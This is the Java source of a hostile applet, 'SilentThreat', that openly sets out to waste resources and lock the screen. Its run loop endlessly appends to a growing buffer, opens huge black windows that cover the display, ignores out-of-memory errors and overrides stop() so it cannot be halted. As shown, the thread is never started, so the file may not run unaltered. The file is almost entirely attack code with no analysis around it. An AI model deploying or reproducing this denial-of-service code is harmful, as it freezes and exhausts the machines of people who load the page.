import java.awt.*;
public class SilentThreat extends java.applet.Applet implements Runnable {
// This thread will attempt to spew forth huge windows and waste resources
Thread wasteResources = null;
// An offscreen Image where lots of action will take place
// Image offscreenImage;
// Graphics tools to handle the offscreen Image
// Graphics offscreenGraphics;
// To avoid arrays and have open-ended storage of results
StringBuffer holdBigNumbers = new StringBuffer(0);
// A window that repeatedly tries to obscure everything
Frame littleWindow;
/* Create the offscreen graphics */
public void init() {
// offscreenImage = createImage(100, 100);
// offscreenGraphics = offscreenImage.getGraphics();
}
/* We certainly won't be stopping anything */
public void stop() {}
/* Repeatedly open windows
while doing lots of other wasteful operations */
public void run() {
// Now fill the screen with huge windows, one atop another, and do
// a lots of wasteful stuff!
while (true) {
try {
holdBigNumbers.append(0x7fffffffffffffffL);
littleWindow = new SilentFrame("ACK!"); // create a window
littleWindow.resize(1000000, 1000000); // make it big!
// Point pt = location(); // find out where the applet is positioned
littleWindow.move(-1000, -1000); // cover everything
littleWindow.show(); // now open the big window
}
catch (OutOfMemoryError o) {}
repaint();
}
}
/* Paints the applet's offscreen Image */
public void update(Graphics g) {
paint(g);
}
public void paint(Graphics g) {
// offscreenGraphics.setColor(Color.white);
// offscreenGraphics.drawRect(0, 0, 100, 100);
// offscreenGraphics.setColor(Color.blue);
// offscreenGraphics.drawString(holdBigNumbers.toString(), 10, 50);
}
}
/* Makes the big, opaque windows */
class SilentFrame extends Frame {
Label l;
// Constructor method
SilentFrame(String title) {
setLayout(new GridLayout(1, 1));
Canvas blackCanvas = new Canvas();
blackCanvas.setBackground(Color.black);
add(blackCanvas);
}
}